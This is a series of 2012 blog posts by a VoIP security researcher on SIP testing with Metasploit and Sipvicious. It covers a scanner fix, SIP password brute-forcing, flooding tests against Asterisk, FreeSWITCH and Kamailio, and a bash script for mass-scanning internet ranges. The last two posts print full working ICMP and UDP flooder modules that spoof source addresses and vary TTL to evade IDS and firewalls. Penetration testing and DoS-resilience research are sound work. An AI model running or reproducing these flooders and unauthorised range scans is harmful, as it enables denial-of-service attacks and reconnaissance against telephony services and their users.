10/08/2012

Fixing some SIP related Metasploit modules

Hi again, while I was checking some demos for our class at Vigo University representing Quobis I noticed that Metasploit options.rb module (SIP scanning) wasn't working ok. I mean, it was unable to recognize a Kamailio server. Next two pictures show the difference with SIPVicious output:



Some time ago, I wrote a post about this module and I remember being a bit surprised because the code doesn't respect SIP protocol at all (but It worked with Asterisk). After a quick view to Kamailio logs my suspects were confirmed, Sanity module was doing right its job dropping these packets. :)


Next function defines how requests are created in actual module, If you are familiar with SIP RFC you probably will notice what I'm talking about. If not, I suggest you to compare it with my create_request function of sipflood.rb module.


    def create_probe(ip)
        suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
        shost = Rex::Socket.source_address(ip)
        src   = "#{shost}:#{datastore['CPORT']}"

        data  = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n"
        data << "Via: SIP/2.0/UDP #{src};branch=z9hG4bK.#{"%.8x" % rand(0x100000000)};rport;alias\r\n"
        #data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n"
        data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n"
        #data << "To: sip:#{datastore['TO']}@#{ip}\r\n"
        data << "To: sip:#{suser}@#{ip}\r\n"
        data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"
        data << "CSeq: 1 OPTIONS\r\n"
        data << "Contact:  sip:#{suser}@#{src}\r\n"
        data << "Content-Length: 0\r\n"
        data << "Max-Forwards: 20\r\n"
        data << "User-Agent: #{suser}\r\n"
        data << "Accept: text/plain\r\n"
    end 


Once some changes were done in order to use my function (with OPTIONS packets), we can see that we have a correct response now.


This issue often appears working with Session Border Controllers so I coded our own version of these modules. Nothing else, here there are the links to the new version of the modules. I also added this feature to enumeration.rb module, needed to brute-force valid extensions. 

Anyway, If you try to enumerate Kamailio extensions you will fail because its default configuration avoid this. Asterisk also has an option to do it but it can be bypassed. And FreeSWITCH? We will play with all this stuff another day. ;)

9/27/2012

VoIP class at Vigo University


My colleague Antón (@AntonRoman) and myself visited last Monday the Telecommunication Engineering School at Vigo University in order to give a talk about VoIP, technologies and project that we’re involved in Quobis. As the year before, we were invited by the professor of the subject Switching laboratory”., Martín López Nores, to prepare a Kamailio practical exercise.

Antón started explaining some basic VoIP concepts and then he went through more advanced ones mainly focused in Kamailio SIP server (slides).Then, I made a review and a demo of the most common VoIP vector attacks that we found every day “in the wild” and their available countermeasures (slides).



As the last course, we extended the mandatory practice with an optional exercise (you can download them from the links below):

We encourage the students to give it a try, I strongly think this practice could be very useful for their professional future. In fact,  Andrés Souto (@kai670), who did a great job last year while being a student of the last course, is working now with us at Quobis. And last, but not least, we would like to thank Martín for this opportunity of sharing a good time and discovering skilled students.

7/29/2012

Bruteforcing SIP extensions with Metasploit

Hi, some time ago I published this post about VoIP information gathering with Metasploit. For a minimal pentesting process, a module capable of bruteforcing discovered extensions password is needed. So I have developed it, if you know SIPvicious suite this module provides sipcrack tool features.

Based on available SIP related modules I implemented SIP Digest Authentication algorithm and Msf::Auxiliary::AuthBrute mixin does the magic with possible user/password combinations. This picture shows an example of use in which extension 100 password is discovered (100).


Source code:

In case you use the module outside a LAN is strongly recommended to add you external IP address (option "EXTIP"), trying to avoid SIP and NAT problems.

Bye ;)

5/01/2012

Flooding Asterisk, Freeswitch and Kamailio with Metasploit

Hi, it has been a long time since my last post because of my new job and my final year project ("VoIP denegation of service attacks" for curious) but there is something I found during my tests with FreeswitchKamailio and Asterisk that I want to share.
NOTE: Really, guys of Security By Default blog published us (my good friend Roi Mallo and me) two articles about how to develop modules for Metasploit framework, another two are coming.  ;)

During my project, among others, I developed a Metasploit module which can flood SIP protocol with common frames (INVITE, OPTIONS, REGISTER, BYE), I wrote it at Quobis (nice job ;) in order to use it for some private tests because actual software didn´t fit our needs, so we are going to probe how is the behavior of different GPL VoIP servers against this kind of attacks:
- Asterisk: I think it needs no introduction, the famous softswitch/PBX software.
- Freeswitch: It´s a newer softswitch that seems to be Asterisk replacement and I really like.
- Kamailio (former OpenSER): It is the most known GPL SIP proxy.
Virtual machines
First of all I want to be clear about two things:
- Test were made without any protection on the server side, in a real environment we shoud find (in theory xD) something like Iptables, Snort, Fail2ban, Pike or a propietary Session border controller in large arquitectures. Anyway, it should be enough for this proof of concept.
- Asterisk and Freeswitch are PBX software, they were not designed to run between the limits of the infrastructure and Internet, although they are usually placed there. In fact, one of the reason of this post is to show the importance of using a SIP Proxy because of security and performance reasons.

Next pictures show an example of the Metasploit module use and generated traffic, we will use the same attack against differents IPs, so I´m showing it once only:
Module use and config
Captured traffic
I chose INVITE packets because they are much more effective against all kind of SIP devices and TIMEOUT to 0 trying to get more traffic. Then, the results:
NOTE: With Wireshark filter "sip.Method==REGISTER or sip.Status-Code==200 and !sdp" we can see if a softphone (Jitsi in this case) could be registered , this way we can confirm if tested software losts some REGISTER packages under attack.
Metasploit vs. Asterisk

Metasploit vs. Freeswitch
 

Metasploit vs. Kamailio

Pictures show how Metasploit module can flood both Asterisk and Freeswitch, but not Kamailio. Moreover, Asterisk lost REGISTER packets under the attack and Freeswitch did "strange" things answering with a lot of "200 OK" responses. This problem would be much more important in a real environment with hundreds of phones trying to register at the same time.

As conclusion we can confirm the use of Kamailio (I think OpenSIPS or another SIP Proxy would reach the same results) as frontier with "the wild". In addition we can also use Pike module for DoS protection and we could suppose that it would respond to a high volume of traffic in a better way than other two alternatives. To sum up I would like to remark that we can see Kamailio creates different forks to manage connections, this seems to be the key of its good performance. But next times I will show how to flood Kamailio with better results and the countermeasurements to protect yourself against it. ;)

2/11/2012

Scanning the world with Sipvicious


Hi, I´m scanning a large number of ranges with Sipvicious ("svmap.py") and I would like to share some tips which helped me during the process:

- The use of sessions (-s) and reports ("svreport.py") is necessary to prevent mixing of obtained data.

- It´s a good idea to scan not only port 5060, you should add successive ports because some sysadmins configure their SIP services to run there (-p5060-5065).

- There is a well known "problem" about SIP and NAT, if you have installed an Asterisk you have heard about it sure :(, so we need to specify our external IP address to Sipvicious with (-x) parameter. Moreover port 5060(Sipvicious outcoming port) has to be forwarded to host which is scanning, in case that you were scanning with more than one instance at the same time successive ports should be forwarded too. I usually put the host int the DMZ trying to avoid these problems.

- "svreport.py" tries to make a DNS lookup with the discovered IPs but it takes too much time in case of too many hosts so we can disable it (-n).

- Normally, some hosts aren't recognized and marked as "unknown", you could run tcpdump in order to capture the responses and avoid the loss of information.

- I wrote that dirty bash script which reflects exposed ideas:

Code:
-----------------------------------------
#!/bin/bash
# It scans ranges from a text file with sipvicious
# Use: ./scanRange.sh

SVMAP="/home/baguira/Installed/sipvicious/svmap.py"
SVREPORT="/home/baguira/Installed/sipvicious/svreport.py"

# just in case "unknown" devices
sudo tcpdump udp and dst host 192.168.9.5 -s 65535 -w capture1.pcap &
# scan all ranges
for RANGE in $(cat ranges1.txt)
do
RNAME=$(echo $RANGE | awk -F / '{print $1}')
EXTIP=$(curl -s icanhazip.com)
$SVMAP -p5060-5065 -s $RNAME -x $EXTIP --randomize $RANGE
NEXTIP=$(curl -s icanhazip.com)
# external ip change check
if [ "$EXTIP" != "$NEXTIP" ]
then
# wait until router finish reboot
sleep 180
$SVREPORT delete -s $RNAME
EXTIP=$(curl -s icanhazip.com)
$SVMAP -p5060-5065 -s $RNAME -x $EXTIP --randomize $RANGE
fi
$SVREPORT export -s $RNAME -f txt -o $RNAME.txt -n
done
sudo killall tcpdump > /dev/null

-----------------------------------------

To sum up I would like to thank Sandro Gauci (Sipvicious developer) for the software and for being really nice whith my doubts. Thank you man! ;)

1/15/2012

Another simple Metasploit module: ICMP Flooder


Hi again!, I said I was going to develope VoIP related Metasploit modules but I was reading PacketFu documentation and I found that wrinting an ICMP flooder couldn´t be too complicated at this point. So I share this code too, I decided to include SHOST and SIZE options too trying to get a more flexible module able to make different flavors of this attack as Ping flood, Smurf or Ping of death. Next pictures show the module in  the same way of last post.

Code:

-------------------------------------------------------------------------
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Dos
include Msf::Exploit::Capture

def initialize
super(
'Name' => 'ICMP Flooder',
'Description' => 'A simple ICMP flooder',
'Author' => 'Jesus Perez',
'License'     => MSF_LICENSE,
'Version' => '$Revision: 0 $'
)

register_options(
[
OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),
OptInt.new('NUM', [false, 'Number of ping packets to send (else unlimited)']),
OptInt.new('SIZE', [false, 'Size of ICMP packets to send (else 256 bytes)'])
], self.class)
deregister_options('FILTER','PCAPFILE','SNAPLEN')
end

def srchost
datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')
end

def size
datastore['SIZE'].to_i.zero? ? 256 : datastore['SIZE'].to_i
end

def run
open_pcap

sent = 0
num = datastore['NUM']

print_status("ICMP flooding #{rhost}...")

p = PacketFu::ICMPPacket.new
p.icmp_type = 8
p.icmp_code = 0
p.ip_daddr = rhost

while (num <= 0) or (sent < num)
p.ip_saddr = srchost
p.payload = rand(36**size).to_s(36)
p.recalc
capture_sendto(p,rhost)
sent += 1
end

close_pcap
end
end

-------------------------------------------------------------------------


Figure: Usage information


Figure: Sniffed packets

Jesús Pérez

My first Metasploit module: UDP Flooder

There are very few Metasploit modules, neither Auxiliaries nor Exploits, VoIP related so I have in mind to write some of them in my free time. Today I want to share a UDP flooder Aux. module, which is very simple but perfect for learning, UDPFlooder is one of the many tools covered in "Hacking VoIP Exposed" book, considered a reference in this field.

Code:

-------------------------------------------------------------------------
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

include Msf::Auxiliary::Dos
include Msf::Exploit::Capture

def initialize
super(
'Name' => 'UDP Flooder',
'Description' => 'A simple UDP flooder',
'Author' => 'Jesus Perez',
'License'     => MSF_LICENSE,
'Version' => '$Revision: 0 $'
)


register_options(
[
Opt::RPORT(5060),
OptAddress.new('SHOST', [false, 'The spoofable source address (else randomizes)']),
OptInt.new('SPORT', [false, 'The source port (else randomizes)']),
OptInt.new('NUM', [false, 'Number of UDP packets to send (else unlimited)']),
OptInt.new('SIZE', [false, 'Size of UDP packets to send (else 256 bytes)'])
], self.class)
deregister_options('FILTER','PCAPFILE','SNAPLEN')
end

def sport
datastore['SPORT'].to_i.zero? ? rand(65535)+1 : datastore['SPORT'].to_i
end

def rport
datastore['RPORT'].to_i
end

def srchost
datastore['SHOST'] || [rand(0x100000000)].pack('N').unpack('C*').join('.')
end

def size
datastore['SIZE'].to_i.zero? ? 256 : datastore['SIZE'].to_i
end

def run
open_pcap

sent = 0
num = datastore['NUM']

print_status("UDP flooding #{rhost}:#{rport}...")

p = PacketFu::UDPPacket.new

p.ip_daddr = rhost
p.udp_dport = rport

while (num <= 0) or (sent < num)
p.ip_ttl = rand(128)+128
p.ip_saddr = srchost
p.udp_sport = sport
p.payload = rand(36**size).to_s(36)
p.recalc
capture_sendto(p,rhost)
sent += 1
end

close_pcap
end
end

--------------------------------------------------------------------------

Most of the code is taken from Metasploit TCP SYN Flooder module but I made some more changes besides adapting it to UDP. The same way TTL is changed in each packet, I prefer to change the source (spoofed) address too because of the same reason (IDS/Firewall evasion). Moreover, in this case something to send is needed so I added the new option SIZE which determines the lenght of this random string. Another different thing you could apprecciate is that option SNAPLEN is unregistered too because of having no sense in this module.


Figure: Usage information

Finally, in order to test if module works fine I´m going to sniff the interface and see, with help of Wireshark, what it´s really happening. Next picture shows that everything seems to be working as defined in the description of the attack. :)



Figures: Sniffed packets

Jesús Pérez